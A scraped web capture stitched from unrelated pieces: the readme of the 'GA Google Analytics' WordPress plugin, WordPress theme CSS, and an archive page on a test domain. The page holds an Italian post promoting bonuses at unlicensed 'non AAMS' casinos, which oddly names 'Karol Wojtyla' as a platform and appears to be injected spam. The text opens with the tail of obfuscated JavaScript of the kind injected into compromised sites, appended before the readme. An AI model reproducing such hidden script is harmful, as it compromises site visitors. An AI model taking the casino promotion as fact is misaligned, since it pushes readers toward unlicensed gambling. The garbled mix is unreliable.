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Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};=== GA Google Analytics – Connect Google Analytics to WordPress ===

Plugin Name: GA Google Analytics
Plugin URI: https://perishablepress.com/google-analytics-plugin/
Description: Adds your Google Analytics Tracking Code to your WordPress site.
Tags: analytics, google, google analytics, tracking, statistics
Author: Jeff Starr
Author URI: https://plugin-planet.com/
Donate link: https://monzillamedia.com/donate.html
Contributors: specialk
Requires at least: 4.6
Tested up to: 6.6
Stable tag: 20240820
Version:    20240820
Requires PHP: 5.6.20
Text Domain: ga-google-analytics
Domain Path: /languages
License: GPL v2 or later

Adds Google Analytics 4 tracking code to your WordPress site. Supports many tracking features.



== Description ==

> Connects Google Analytics to WordPress
> Easily add Google Analytics 4 to your web pages

This plugin enables Google Analytics for your entire WordPress site. Lightweight and fast with plenty of great features.


### Enable Google Analytics 4 ###

Steps to enable Google Analytics 4:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"

Save changes and done. Wait 24-48 hours before viewing collected data in your GA account.


### GA Tracking Options ###

Here are the tracking methods available with this plugin:

* [GA4](https://support.google.com/analytics/answer/10089681) / Google Analytics 4 (default)
* [Universal Analytics](https://support.google.com/analytics/answer/11583528) (deprecated)
* Legacy Tracking (deprecated)

__Note:__ GA4 is recommended. Google has deprecated/disabled all other tracking options.


### GA Feature Support ###

* Supports [Google Analytics 4](https://support.google.com/analytics/answer/9304153)
* Supports [Display Advertising](https://support.google.com/analytics/answer/2444872)
* Supports [Enhanced Link Attribution](https://support.google.com/analytics/answer/7377126)
* Supports [IP Anonymization](https://support.google.com/analytics/answer/2763052)
* Supports [Force SSL](https://support.google.com/analytics/answer/6385009)
* Supports [Google Optimize](https://support.google.com/analytics/answer/12979939)
* Supports Tracker Objects (Universal Analytics)
* Supports User Opt-Out (Universal Analytics)

Also supports tracking links and conversions via the Custom Code setting. Learn more about [Google Analytics](https://www.google.com/analytics/).


### Features ###

* Blazing fast performance
* Does one thing and does it well
* Drop-dead simple and easy to use
* Regularly updated and "future proof"
* Stays current with the latest tracking code
* Includes tracking code in header or footer
* Includes tracking code on all WordPress web pages
* Includes option to add your own custom markup
* Sleek plugin Settings page with toggling panels
* Option to disable tracking of admin-level users
* Option to enable page tracking in the Admin Area
* Works with or without Gutenberg Block Editor
* Easy to customize the tracking code
* More features available in the [Pro version&nbsp;&raquo;](https://plugin-planet.com/ga-google-analytics-pro/)

This is a lightweight plugin that inserts the required GA tracking code. To view your site statistics, visit your Google Analytics account.


### Pro Version ###

[GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) includes the same features as the free version, PLUS the following:

* Visitor Opt-Out Box (frontend UI)
* Configure multiple tracking codes
* Live Preview of all tracking codes
* Choose location of multiple tracking codes
* Supports Custom Code in header or footer
* Disable tracking of all logged-in users
* Disable Tracking for any Post IDs, User Roles, Post Types
* Disable Tracking for Search Results and Post Archives
* Display Opt-Out Box automatically or via shortcode
* Complete Inline Help/Documentation
* Priority plugin help and support

Learn more and get [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Privacy ###

__User Data:__ This plugin does not collect any user data. Even so, the tracking code added by this plugin is used by Google to collect all sorts of user data. You can learn more about Google Privacy [here](https://policies.google.com/privacy?hl=en-US).

__Cookies:__ This plugin uses simple cookies for the visitor Opt-Out Box to remember user preference for opt-in or out of Google Analytics.

__Services:__ This plugin does not connect to any third-party locations or services, but it does enable Google to collect all sorts of data.

GA Google Analytics is developed and maintained by [Jeff Starr](https://twitter.com/perishable), 15-year [WordPress developer](https://plugin-planet.com/) and [book author](https://books.perishablepress.com/).


### Support development ###

I develop and maintain this free plugin with love for the WordPress community. To show support, you can [make a donation](https://monzillamedia.com/donate.html) or purchase one of my books: 

* [The Tao of WordPress](https://wp-tao.com/)
* [Digging into WordPress](https://digwp.com/)
* [.htaccess made easy](https://htaccessbook.com/)
* [WordPress Themes In Depth](https://wp-tao.com/wordpress-themes-book/)
* [Wizard's SQL Recipes for WordPress](https://books.perishablepress.com/downloads/wizards-collection-sql-recipes-wordpress/)

And/or purchase one of my premium WordPress plugins:

* [BBQ Pro](https://plugin-planet.com/bbq-pro/) - Super fast WordPress firewall
* [Blackhole Pro](https://plugin-planet.com/blackhole-pro/) - Automatically block bad bots
* [Banhammer Pro](https://plugin-planet.com/banhammer-pro/) - Monitor traffic and ban the bad guys
* [GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) - Connect WordPress to Google Analytics
* [Simple Ajax Chat Pro](https://plugin-planet.com/simple-ajax-chat-pro/) - Unlimited chat rooms
* [USP Pro](https://plugin-planet.com/usp-pro/) - Unlimited front-end forms

Links, tweets and likes also appreciated. Thank you! :)



== Installation ==

### How to install the plugin ###

1. Upload the plugin to your blog and activate
2. Visit the settings to configure your options

After configuring your settings, you can verify that GA tracking code is included by viewing the source code of your web pages.

__Note:__ this plugin adds the required GA code to your web pages. In order for the code to do anything, it must correspond to an active, properly configured Google Analytics account. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).

[More info on installing WP plugins &raquo;](https://wordpress.org/support/article/managing-plugins/#installing-plugins)


### How to use the plugin ###

To enable Google Analytics tracking (GA4) on your site, follow these steps:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA 4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"
5. Configure any other plugin settings as desired (optional)

Save changes and done. After 24-48 hours, you can log into your Google Analytics account and view your site statistics.

__* Notes:__

The "Tracking ID" also may be referred to as "Measurement ID", "Property ID", or "Tag ID".

Also note that it can take 24-48 hours after adding the tracking code before any analytical data appears in your [Google Analytics account](https://developers.google.com/analytics/). To check that the GA tacking code is included properly, examine the source code of your web pages. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).


### Upgrading Analytics ###

Google Analytics tracking methods [change over time](https://onward.justia.com/history-of-google-analytics/). First there was `urchin.js`, then `ga.js`, `analytics.js`, and then `gtag.js`. Now there is the latest and greatest, "GA4" (Google Analytics 4). If you are using an older version (anything other than GA4) and want to upgrade, check out this [upgrade guide](https://support.google.com/analytics/answer/10759417) from Google.


### Plugin Upgrades ###

To upgrade GA Google Analytics, remove the old version and replace with the new version. Or just click "Update" from the Plugins screen and let WordPress do it for you automatically.

__Note:__ uninstalling the plugin from the WP Plugins screen results in the removal of all settings from the WP database. 

For more information, visit the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).


### Restore Default Options ###

To restore default plugin options, either uninstall/reinstall the plugin, or visit the plugin settings &gt; Restore Default Options.


### Uninstalling ###

GA Google Analytics cleans up after itself. All plugin settings will be removed from your database when the plugin is uninstalled via the Plugins screen. Your collected GA data will remain in your Google account.


### Pro Version ###

Want more control over your GA Tracking codes? With awesome features like Opt-Out Box and Code Previews? Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Like the plugin? ###

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!



== Screenshots ==

1. GA Google Analytics: Plugin Settings (default)
2. GA Google Analytics: Plugin Settings (expanded)

More screenshots available at the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).



== Frequently Asked Questions ==


**How to enable Google Analytics 4?**

Check out the top of this page, first section provides the steps to add GA4 to your site.


**I am confused about all the different tracking methods?**

This article should help to get a better idea of the changes: [History of Google Analytics](https://onward.justia.com/history-of-google-analytics/)


**Tracking code is not displayed in source code?**

If you check the source code of your pages and don't see the GA tracking code, check the following:

* Check that your theme includes the hooks, `wp_head` and `wp_footer`
* If you are using a caching plugin, try clearing the cache

If the GA tracking code still is not displayed, most likely there is interference from another plugin or theme. In this case, the best way to resolve the issue is to do some basic [WordPress troubleshooting](https://perishablepress.com/how-to-troubleshoot-wordpress/).


**Google Analytics says tracking code is not detected?**

You need to wait 24-48 hours (or longer) for Google to collect some data. Just takes time for Googlebot to crawl your pages, collect and process data, etc. For more information, check out the [Google Analytics Help Center](https://support.google.com/analytics/).


**Can I filter the output of the "Custom GA Code" setting?**

Yes, you can use the `gap_custom_code` filter hook.


**How to implement Google Optimize?**

Here are the steps:

1. Enable Universal Analytics in the plugin settings
2. Add the Optimize plugin (e.g., `ga('require', 'GTM-XXXXXX');`) to the setting, "Custom GA Code"
3. Add the Page Hiding (flicker) snippet to the setting, "Custom &lt;head&gt; Code"
4. Enable the setting, "Custom &lt;head&gt; Location"

Done! You can view the source code of your web pages to verify the results.

More info about [Google Optimize](https://support.google.com/analytics/answer/12979939).


**How to enable Opt-out of tracking?**

Here are the steps:

1. Add the following code to the plugin setting, "Custom Code": `<script>window['ga-disable-UA-XXXXX-Y'] = true;</script>`
2. Check the box to enable the setting, "Custom Code Location".

Done! You can view the source code of your web pages to verify the results.


**How to disable the "auto" parameter in ga(create)?**

By default the plugin includes the `auto` parameter in the tracking code:

	ga('create', 'GA-123456789000', 'auto');

However some tracking techniques (such as Site Speed Sample Rate) require replacing the `auto` parameter. To do it:

First disable the `auto` parameter by adding the following code to WordPress functions or [custom plugin](https://digwp.com/2022/02/custom-code-wordpress/):

	// GA Google Analytics - Disable auto parameter
	function ga_google_analytics_enable_auto($enable) { return false; }
	add_filter('ga_google_analytics_enable_auto', 'ga_google_analytics_enable_auto');

Now that `auto` is disabled, you can replace it with your own parameter(s). For example, to implement Universal Analytics Site Speed Sample Rate, enter the following code in the plugin setting "Custom Tracker Objects":

	{'siteSpeedSampleRate': 100}

Save changes and done. The resulting tracking code will now look like this:

	ga('create', 'GA-123456789000', {'siteSpeedSampleRate': 100});

So can adjust things as needed to add any parameters that are required.


**How to implement Anonymize?**

1. Add to "Custom Tracker Objects" setting: `{ 'anonymize_ip': true }`
2. Save changes and done.


**Got a question?**

To ask a question, suggest a feature, or provide feedback, [contact me directly](https://plugin-planet.com/support/#contact). Learn more about [Google Analytics](https://www.google.com/analytics/).



== Changelog ==

*Thank you to everyone who shares feedback for GA Google Analytics!*

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!

> New Pro version available! Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


**20240820**

* Improves security of "Custom Code" setting
* Tests on WordPress 6.6


Full changelog @ [https://plugin-planet.com/wp/changelog/ga-google-analytics.txt](https://plugin-planet.com/wp/changelog/ga-google-analytics.txt)
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!important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
/*# sourceURL=global-styles-inline-css */
</style>

<style id='classic-theme-styles-inline-css'>
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
/*# sourceURL=/wp-includes/css/classic-themes.min.css */
</style>
<link rel='stylesheet' id='storefront-gutenberg-blocks-css' href='https://psp-wp-test.objectsdev.com/wp-content/themes/storefront/assets/css/base/gutenberg-blocks.css?ver=3.8.1' media='all' />
<style id='storefront-gutenberg-blocks-inline-css'>

				.wp-block-button__link:not(.has-text-color) {
					color: #333333;
				}

				.wp-block-button__link:not(.has-text-color):hover,
				.wp-block-button__link:not(.has-text-color):focus,
				.wp-block-button__link:not(.has-text-color):active {
					color: #333333;
				}

				.wp-block-button__link:not(.has-background) {
					background-color: #eeeeee;
				}

				.wp-block-button__link:not(.has-background):hover,
				.wp-block-button__link:not(.has-background):focus,
				.wp-block-button__link:not(.has-background):active {
					border-color: #d5d5d5;
					background-color: #d5d5d5;
				}

				.wp-block-quote footer,
				.wp-block-quote cite,
				.wp-block-quote__citation {
					color: #6d6d6d;
				}

				.wp-block-pullquote cite,
				.wp-block-pullquote footer,
				.wp-block-pullquote__citation {
					color: #6d6d6d;
				}

				.wp-block-image figcaption {
					color: #6d6d6d;
				}

				.wp-block-separator.is-style-dots::before {
					color: #333333;
				}

				.wp-block-file a.wp-block-file__button {
					color: #333333;
					background-color: #eeeeee;
					border-color: #eeeeee;
				}

				.wp-block-file a.wp-block-file__button:hover,
				.wp-block-file a.wp-block-file__button:focus,
				.wp-block-file a.wp-block-file__button:active {
					color: #333333;
					background-color: #d5d5d5;
				}

				.wp-block-code,
				.wp-block-preformatted pre {
					color: #6d6d6d;
				}

				.wp-block-table:not( .has-background ):not( .is-style-stripes ) tbody tr:nth-child(2n) td {
					background-color: #fdfdfd;
				}

				.wp-block-cover .wp-block-cover__inner-container h1:not(.has-text-color),
				.wp-block-cover .wp-block-cover__inner-container h2:not(.has-text-color),
				.wp-block-cover .wp-block-cover__inner-container h3:not(.has-text-color),
				.wp-block-cover .wp-block-cover__inner-container h4:not(.has-text-color),
				.wp-block-cover .wp-block-cover__inner-container h5:not(.has-text-color),
				.wp-block-cover .wp-block-cover__inner-container h6:not(.has-text-color) {
					color: #000000;
				}

				.wc-block-components-price-slider__range-input-progress,
				.rtl .wc-block-components-price-slider__range-input-progress {
					--range-color: #96588a;
				}

				/* Target only IE11 */
				@media all and (-ms-high-contrast: none), (-ms-high-contrast: active) {
					.wc-block-components-price-slider__range-input-progress {
						background: #96588a;
					}
				}

				.wc-block-components-button:not(.is-link) {
					background-color: #333333;
					color: #ffffff;
				}

				.wc-block-components-button:not(.is-link):hover,
				.wc-block-components-button:not(.is-link):focus,
				.wc-block-components-button:not(.is-link):active {
					background-color: #1a1a1a;
					color: #ffffff;
				}

				.wc-block-components-button:not(.is-link):disabled {
					background-color: #333333;
					color: #ffffff;
				}

				.wc-block-cart__submit-container {
					background-color: #ffffff;
				}

				.wc-block-cart__submit-container::before {
					color: rgba(220,220,220,0.5);
				}

				.wc-block-components-order-summary-item__quantity {
					background-color: #ffffff;
					border-color: #6d6d6d;
					box-shadow: 0 0 0 2px #ffffff;
					color: #6d6d6d;
				}
			
/*# sourceURL=storefront-gutenberg-blocks-inline-css */
</style>
<link rel='stylesheet' id='ic-fonts-css' href='https://fonts.googleapis.com/css2?family=Open+Sans:w400,700' media='all' />
<style id='woocommerce-inline-inline-css'>
.woocommerce form .form-row .required { visibility: visible; }
/*# sourceURL=woocommerce-inline-inline-css */
</style>
<link rel='stylesheet' id='storefront-style-css' href='https://psp-wp-test.objectsdev.com/wp-content/themes/storefront/style.css?ver=3.8.1' media='all' />
<style id='storefront-style-inline-css'>

			.main-navigation ul li a,
			.site-title a,
			ul.menu li a,
			.site-branding h1 a,
			button.menu-toggle,
			button.menu-toggle:hover,
			.handheld-navigation .dropdown-toggle {
				color: #333333;
			}

			button.menu-toggle,
			button.menu-toggle:hover {
				border-color: #333333;
			}

			.main-navigation ul li a:hover,
			.main-navigation ul li:hover > a,
			.site-title a:hover,
			.site-header ul.menu li.current-menu-item > a {
				color: #747474;
			}

			table:not( .has-background ) th {
				background-color: #f8f8f8;
			}

			table:not( .has-background ) tbody td {
				background-color: #fdfdfd;
			}

			table:not( .has-background ) tbody tr:nth-child(2n) td,
			fieldset,
			fieldset legend {
				background-color: #fbfbfb;
			}

			.site-header,
			.secondary-navigation ul ul,
			.main-navigation ul.menu > li.menu-item-has-children:after,
			.secondary-navigation ul.menu ul,
			.storefront-handheld-footer-bar,
			.storefront-handheld-footer-bar ul li > a,
			.storefront-handheld-footer-bar ul li.search .site-search,
			button.menu-toggle,
			button.menu-toggle:hover {
				background-color: #ffffff;
			}

			p.site-description,
			.site-header,
			.storefront-handheld-footer-bar {
				color: #404040;
			}

			button.menu-toggle:after,
			button.menu-toggle:before,
			button.menu-toggle span:before {
				background-color: #333333;
			}

			h1, h2, h3, h4, h5, h6, .wc-block-grid__product-title {
				color: #333333;
			}

			.widget h1 {
				border-bottom-color: #333333;
			}

			body,
			.secondary-navigation a {
				color: #6d6d6d;
			}

			.widget-area .widget a,
			.hentry .entry-header .posted-on a,
			.hentry .entry-header .post-author a,
			.hentry .entry-header .post-comments a,
			.hentry .entry-header .byline a {
				color: #727272;
			}

			a {
				color: #96588a;
			}

			a:focus,
			button:focus,
			.button.alt:focus,
			input:focus,
			textarea:focus,
			input[type="button"]:focus,
			input[type="reset"]:focus,
			input[type="submit"]:focus,
			input[type="email"]:focus,
			input[type="tel"]:focus,
			input[type="url"]:focus,
			input[type="password"]:focus,
			input[type="search"]:focus {
				outline-color: #96588a;
			}

			button, input[type="button"], input[type="reset"], input[type="submit"], .button, .widget a.button {
				background-color: #eeeeee;
				border-color: #eeeeee;
				color: #333333;
			}

			button:hover, input[type="button"]:hover, input[type="reset"]:hover, input[type="submit"]:hover, .button:hover, .widget a.button:hover {
				background-color: #d5d5d5;
				border-color: #d5d5d5;
				color: #333333;
			}

			button.alt, input[type="button"].alt, input[type="reset"].alt, input[type="submit"].alt, .button.alt, .widget-area .widget a.button.alt {
				background-color: #333333;
				border-color: #333333;
				color: #ffffff;
			}

			button.alt:hover, input[type="button"].alt:hover, input[type="reset"].alt:hover, input[type="submit"].alt:hover, .button.alt:hover, .widget-area .widget a.button.alt:hover {
				background-color: #1a1a1a;
				border-color: #1a1a1a;
				color: #ffffff;
			}

			.pagination .page-numbers li .page-numbers.current {
				background-color: #e6e6e6;
				color: #636363;
			}

			#comments .comment-list .comment-content .comment-text {
				background-color: #f8f8f8;
			}

			.site-footer {
				background-color: #f0f0f0;
				color: #6d6d6d;
			}

			.site-footer a:not(.button):not(.components-button) {
				color: #333333;
			}

			.site-footer .storefront-handheld-footer-bar a:not(.button):not(.components-button) {
				color: #333333;
			}

			.site-footer h1, .site-footer h2, .site-footer h3, .site-footer h4, .site-footer h5, .site-footer h6, .site-footer .widget .widget-title, .site-footer .widget .widgettitle {
				color: #333333;
			}

			.page-template-template-homepage.has-post-thumbnail .type-page.has-post-thumbnail .entry-title {
				color: #000000;
			}

			.page-template-template-homepage.has-post-thumbnail .type-page.has-post-thumbnail .entry-content {
				color: #000000;
			}

			@media screen and ( min-width: 768px ) {
				.secondary-navigation ul.menu a:hover {
					color: #595959;
				}

				.secondary-navigation ul.menu a {
					color: #404040;
				}

				.main-navigation ul.menu ul.sub-menu,
				.main-navigation ul.nav-menu ul.children {
					background-color: #f0f0f0;
				}

				.site-header {
					border-bottom-color: #f0f0f0;
				}
			}
/*# sourceURL=storefront-style-inline-css */
</style>
<link rel='stylesheet' id='storefront-icons-css' href='https://psp-wp-test.objectsdev.com/wp-content/themes/storefront/assets/css/base/icons.css?ver=3.8.1' media='all' />
<link rel='stylesheet' id='storefront-fonts-css' href='https://fonts.googleapis.com/css?family=Source+Sans+Pro%3A400%2C300%2C300italic%2C400italic%2C600%2C700%2C900&#038;subset=latin%2Clatin-ext&#038;ver=3.8.1' media='all' />
<link rel='stylesheet' id='storefront-woocommerce-style-css' href='https://psp-wp-test.objectsdev.com/wp-content/themes/storefront/assets/css/woocommerce/woocommerce.css?ver=3.8.1' media='all' />
<style id='storefront-woocommerce-style-inline-css'>
@font-face {
				font-family: star;
				src: url(https://psp-wp-test.objectsdev.com/wp-content/plugins/woocommerce/assets/fonts/star.eot);
				src:
					url(https://psp-wp-test.objectsdev.com/wp-content/plugins/woocommerce/assets/fonts/star.eot?#iefix) format("embedded-opentype"),
					url(https://psp-wp-test.objectsdev.com/wp-content/plugins/woocommerce/assets/fonts/star.woff) format("woff"),
					url(https://psp-wp-test.objectsdev.com/wp-content/plugins/woocommerce/assets/fonts/star.ttf) format("truetype"),
					url(https://psp-wp-test.objectsdev.com/wp-content/plugins/woocommerce/assets/fonts/star.svg#star) format("svg");
				font-weight: 400;
				font-style: normal;
			}
			@font-face {
				font-family: WooCommerce;
				src: url(https://psp-wp-test.objectsdev.com/wp-content/plugins/woocommerce/assets/fonts/WooCommerce.eot);
				src:
					url(https://psp-wp-test.objectsdev.com/wp-content/plugins/woocommerce/assets/fonts/WooCommerce.eot?#iefix) format("embedded-opentype"),
					url(https://psp-wp-test.objectsdev.com/wp-content/plugins/woocommerce/assets/fonts/WooCommerce.woff) format("woff"),
					url(https://psp-wp-test.objectsdev.com/wp-content/plugins/woocommerce/assets/fonts/WooCommerce.ttf) format("truetype"),
					url(https://psp-wp-test.objectsdev.com/wp-content/plugins/woocommerce/assets/fonts/WooCommerce.svg#WooCommerce) format("svg");
				font-weight: 400;
				font-style: normal;
			}

			a.cart-contents,
			.site-header-cart .widget_shopping_cart a {
				color: #333333;
			}

			a.cart-contents:hover,
			.site-header-cart .widget_shopping_cart a:hover,
			.site-header-cart:hover > li > a {
				color: #747474;
			}

			table.cart td.product-remove,
			table.cart td.actions {
				border-top-color: #ffffff;
			}

			.storefront-handheld-footer-bar ul li.cart .count {
				background-color: #333333;
				color: #ffffff;
				border-color: #ffffff;
			}

			.woocommerce-tabs ul.tabs li.active a,
			ul.products li.product .price,
			.onsale,
			.wc-block-grid__product-onsale,
			.widget_search form:before,
			.widget_product_search form:before {
				color: #6d6d6d;
			}

			.woocommerce-breadcrumb a,
			a.woocommerce-review-link,
			.product_meta a {
				color: #727272;
			}

			.wc-block-grid__product-onsale,
			.onsale {
				border-color: #6d6d6d;
			}

			.star-rating span:before,
			.quantity .plus, .quantity .minus,
			p.stars a:hover:after,
			p.stars a:after,
			.star-rating span:before,
			#payment .payment_methods li input[type=radio]:first-child:checked+label:before {
				color: #96588a;
			}

			.widget_price_filter .ui-slider .ui-slider-range,
			.widget_price_filter .ui-slider .ui-slider-handle {
				background-color: #96588a;
			}

			.order_details {
				background-color: #f8f8f8;
			}

			.order_details > li {
				border-bottom: 1px dotted #e3e3e3;
			}

			.order_details:before,
			.order_details:after {
				background: -webkit-linear-gradient(transparent 0,transparent 0),-webkit-linear-gradient(135deg,#f8f8f8 33.33%,transparent 33.33%),-webkit-linear-gradient(45deg,#f8f8f8 33.33%,transparent 33.33%)
			}

			#order_review {
				background-color: #ffffff;
			}

			#payment .payment_methods > li .payment_box,
			#payment .place-order {
				background-color: #fafafa;
			}

			#payment .payment_methods > li:not(.woocommerce-notice) {
				background-color: #f5f5f5;
			}

			#payment .payment_methods > li:not(.woocommerce-notice):hover {
				background-color: #f0f0f0;
			}

			.woocommerce-pagination .page-numbers li .page-numbers.current {
				background-color: #e6e6e6;
				color: #636363;
			}

			.wc-block-grid__product-onsale,
			.onsale,
			.woocommerce-pagination .page-numbers li .page-numbers:not(.current) {
				color: #6d6d6d;
			}

			p.stars a:before,
			p.stars a:hover~a:before,
			p.stars.selected a.active~a:before {
				color: #6d6d6d;
			}

			p.stars.selected a.active:before,
			p.stars:hover a:before,
			p.stars.selected a:not(.active):before,
			p.stars.selected a.active:before {
				color: #96588a;
			}

			.single-product div.product .woocommerce-product-gallery .woocommerce-product-gallery__trigger {
				background-color: #eeeeee;
				color: #333333;
			}

			.single-product div.product .woocommerce-product-gallery .woocommerce-product-gallery__trigger:hover {
				background-color: #d5d5d5;
				border-color: #d5d5d5;
				color: #333333;
			}

			.button.added_to_cart:focus,
			.button.wc-forward:focus {
				outline-color: #96588a;
			}

			.added_to_cart,
			.site-header-cart .widget_shopping_cart a.button,
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				<h1 class="page-title">Month: <span>May 2025</span></h1>			</header><!-- .page-header -->

			
<article id="post-846837" class="post-846837 post type-post status-publish format-standard hentry category-uncategorized">

			<header class="entry-header">
		
			<span class="posted-on">Posted on <a href="https://psp-wp-test.objectsdev.com/strategie-avanzate-per-massimizzare-i-bonus-festivi-nei-casino-online-6/" rel="bookmark"><time class="entry-date published" datetime="2025-05-13T16:25:46+02:00">May 13, 2025</time><time class="updated" datetime="2026-02-10T17:55:04+02:00">February 10, 2026</time></a></span> <span class="post-author">by <a href="https://psp-wp-test.objectsdev.com/author/admin-pspwptest/" rel="author">admin-pspwptest</a></span> <span class="post-comments">&mdash; <a href="https://psp-wp-test.objectsdev.com/strategie-avanzate-per-massimizzare-i-bonus-festivi-nei-casino-online-6/#respond">Leave a comment</a></span><h2 class="alpha entry-title"><a href="https://psp-wp-test.objectsdev.com/strategie-avanzate-per-massimizzare-i-bonus-festivi-nei-casino-online-6/" rel="bookmark">Strategie avanzate per massimizzare i bonus festivi nei casino online</a></h2>		</header><!-- .entry-header -->
				<div class="entry-content">
		<h1>Strategie avanzate per massimizzare i bonus festivi nei casino online</h1>
<p>Durante le festività, i casino online lanciano promozioni più generose rispetto al resto dell’anno. Ma perché questi bonus sono così allettanti? Innanzitutto, gli operatori vogliono attirare nuovi giocatori e fidelizzare quelli esistenti, quindi aumentano il valore del match bonus, le giri gratuiti e le offerte di cashback. Inoltre, le condizioni di scommessa (wagering) sono spesso più favorevoli, con moltiplicatori ridotti e periodi di validità più lunghi.  </p>
<p>Hai mai pensato che un bonus ben scelto possa trasformare una piccola scommessa in una vincita consistente? Con la giusta strategia, il bonus diventa un vero strumento di profitto, non solo un “regalo” da spendere.  </p>
<p>Karol Wojtyla è un esempio di piattaforma che propone bonus natalizi strutturati per tutti i livelli di gioco. Il sito offre una panoramica chiara delle offerte, evidenziando i requisiti di scommessa e i giochi più adatti per sfruttarle al meglio. In questo modo, i giocatori possono concentrarsi sulla scelta dei giochi più remunerativi senza perdersi nei dettagli contrattuali.  </p>
<p>Pro Tip: prima di accettare un bonus, verifica sempre il rapporto tra il valore del bonus e il requisito di scommessa. Un rapporto 1:20 è più vantaggioso di un 1:40.  </p>
<h2>Come valutare i migliori bonus: criteri di scelta</h2>
<p>Non tutti i bonus sono creati uguali. Per individuare i migliori casino non AAMS è fondamentale analizzare alcuni fattori chiave:  </p>
<table>
<thead>
<tr>
<th>Criterio</th>
<th>Importanza</th>
<th>Come valutare su Karol Wojtyla</th>
</tr>
</thead>
<tbody>
<tr>
<td>Valore del bonus</td>
<td>Alta</td>
<td>Controlla l’importo massimo e il match percentage</td>
</tr>
<tr>
<td>Requisiti di scommessa</td>
<td>Media</td>
<td>Confronta il moltiplicatore (es. 20x vs 30x)</td>
</tr>
<tr>
<td>Durata della promozione</td>
<td>Bassa</td>
<td>Verifica il periodo di validità (30‑90 giorni)</td>
</tr>
<tr>
<td>Giochi eleggibili</td>
<td>Alta</td>
<td>Preferisci slot con RTP ≥ 96% o giochi da tavolo a bassa volatilità</td>
</tr>
